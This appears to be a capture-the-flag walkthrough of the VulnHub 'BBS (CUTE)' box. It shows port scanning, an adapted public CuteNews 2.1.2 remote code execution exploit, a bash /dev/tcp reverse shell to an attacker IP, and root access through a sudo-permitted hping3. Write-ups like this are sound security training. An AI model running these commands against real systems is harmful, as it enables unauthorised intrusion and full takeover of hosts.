Contents

VulnHub | BBS (CUTE)

Box Information

Name: BBS (Bulletin Board System)
Release Date: 24 Sep 2020
OS: Linux
Difficulty: Easy->Intermediate
Creator: foxlox
Download: VulnHub

Recon

nmap

TCP

Using nmap, we’re able to find five open TCP ports, SSH (22), http (80), http(88), pop3 (110/995):

kali@kali:~/ctf/BBSCute$ sudo nmap -p- --min-rate 10000 192.168.74.128 -Pn -oA nmap-alltcp
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-20 20:33 EDT
Nmap scan report for 192.168.74.128
Host is up (0.066s latency).
Not shown: 65530 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
88/tcp  open  kerberos-sec
110/tcp open  pop3
995/tcp open  pop3s

Nmap done: 1 IP address (1 host up) scanned in 10.06 seconds

kali@kali:~/ctf/BBSCute$ sudo nmap -sCV -p22,80,88,110,995 192.168.74.128 -oA nmap-tcpscans
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-20 20:37 EDT
Nmap scan report for 192.168.74.128
Host is up (0.061s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 04:d0:6e:c4:ba:4a:31:5a:6f:b3:ee:b8:1b:ed:5a:b7 (RSA)
|   256 24:b3:df:01:0b:ca:c2:ab:2e:e9:49:b0:58:08:6a:fa (ECDSA)
|_  256 6a:c4:35:6a:7a:1e:7e:51:85:5b:81:5c:7c:74:49:84 (ED25519)
80/tcp  open  http     Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
88/tcp  open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: 404 Not Found
110/tcp open  pop3     Courier pop3d
|_pop3-capabilities: PIPELINING UTF8(USER) IMPLEMENTATION(Courier Mail Server) UIDL USER STLS TOP LOGIN-DELAY(10)
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-09-17T16:28:06
|_Not valid after:  2021-09-17T16:28:06
|_ssl-date: TLS randomness does not represent time
995/tcp open  ssl/pop3 Courier pop3d
|_pop3-capabilities: PIPELINING UTF8(USER) IMPLEMENTATION(Courier Mail Server) TOP UIDL USER LOGIN-DELAY(10)
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-09-17T16:28:06
|_Not valid after:  2021-09-17T16:28:06
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.13 seconds

Services

In all we have several HTTP servers (both apache and nginx), an ssh server, and a POP3 server (Courier). Since there’s a webserver publicly facing, that’s where I generally like to start. For challenges, we can typically get really valuable OSINT or even gain our foothold into this network.

Enumerating the Webserver

For finding files and directories, I like starting with a small non-recursive gobuster search (wordlist <5k):

kali@kali:~$ gobuster dir -u http://192.168.74.128/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.74.128/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/20 20:43:54 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/core                 (Status: 301) [Size: 315] [--> http://192.168.74.128/core/]
/docs                 (Status: 301) [Size: 315] [--> http://192.168.74.128/docs/]
/favicon.ico          (Status: 200) [Size: 1150]
/index.html           (Status: 200) [Size: 10701]
/index.php            (Status: 200) [Size: 6175]
/libs                 (Status: 301) [Size: 315] [--> http://192.168.74.128/libs/]
/manual               (Status: 301) [Size: 317] [--> http://192.168.74.128/manual/]
/server-status        (Status: 403) [Size: 279]
/skins                (Status: 301) [Size: 316] [--> http://192.168.74.128/skins/]
/uploads              (Status: 301) [Size: 318] [--> http://192.168.74.128/uploads/]

We know when we go to the webserver on port 80 that it directs us to a default apache html page, however our scan revealed an additional index.php. That’s definitely worth looking into and in this case, it ended up being a login page for a CuteNews portal.

/images/vh/bbscute/cutenews.png

CuteNews 2.1.2 - Researching CVEs

Not much work is needed to attack this portal, as this exact version has a Remote Code Execution (RCE) exploit published on Exploit-DB. To get to this, you’d just need to do some OSINT on CuteNews 2.1.2. Google searches for that exact string pulled up tons of articles about it, and various vulnerabilities. Another option here would be to use the searchsploit command (part of the exploitdb linux package), or just manually search Exploit-DB.

Modifying the Exploit

If we look at this exploit script, we can see several sections that define URL data for CuteNews. However, on this particular box the CuteNews service is not nested in its own directory. Instead the URLs should be adjusted to reflect that this service is sitting in the webserver’s root directory.

In essence, when we see stuff like:

def extract_credentials():
    global sess, ip
    url = f"{ip}/CuteNews/cdata/users/lines"

We just need to modify it to remove all instances of the string /CuteNews and we’ll be good. Like so:

def extract_credentials():
    global sess, ip
    url = f"{ip}/cdata/users/lines"

This is a neat little twist, as typically on easy boxes you’d just plug and play your exploit. It’s definitely valuable and important to be able to adapt an existing exploit for your own use. You don’t even need to be a great programmer, just use a little bit of logic and common sense. Every environment is going to be different and at the end of the day, the scripts online are essentially just fleshed out PoCs.

TL;DR: sometimes an exploit will work out of the box, sometimes it won’t. Learn how to adapt.

shell as apache via CuteNews RCE

After running the exploit, we’re able to get a dumb shell on this boxdu.

/images/vh/bbscute/rce.png

From here, we can start up a netcat listener on our attack machine, and execute a reverse shell from the exploited webserver:

command > bash -c 'bash -i >& /dev/tcp/192.168.49.74/6969 0>&1'

reverse shell

kali@kali:~$ nc -lvp 6969
listening on [any] 6969 ...
192.168.74.128: inverse host lookup failed: Unknown host
connect to [192.168.49.74] from (UNKNOWN) [192.168.74.128] 49038
bash: cannot set terminal process group (808): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cute:/var/www/html/uploads$ ls
ls
avatar_5SHWNIBzA3_5SHWNIBzA3.php
index.html

elevating priv

At this point, we just go through our CheckList and look for common misconfigurations on these challenge boxes (SUID Binaries, SUDO privs, etc).

www-data@cute:/home/fox$ sudo -l
sudo -l
Matching Defaults entries for www-data on cute:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on cute:
    (root) NOPASSWD: /usr/sbin/hping3 --icmp

shell as root via hping3

From our sudo -l we can see that we can execute the hping3 command at root level privs with No Password. However, we run into a slight snag here:

www-data@cute:/home/fox$ sudo /usr/sbin/hping3 --icmp
sudo hping3

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

sudo: no tty present and no askpass program specified

Looks like our dumb shell is not good enough. We can solve this easily with one of the many methods out there, in this case I chose the python way.

upgrade dumb shell

www-data@cute:/home/fox$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

Let’s try that again now, with a more stable shell:

www-data@cute:/home/fox$ /usr/sbin/hping3
/usr/sbin/hping3
hping3> whoami
whoami
root

Post-Root

At this point, getting to the flag is as simple as cat /root/proof.txt. This is the point where we’d engage in persistence activity, and begin to perform subsequent steps in the attack lifecycle.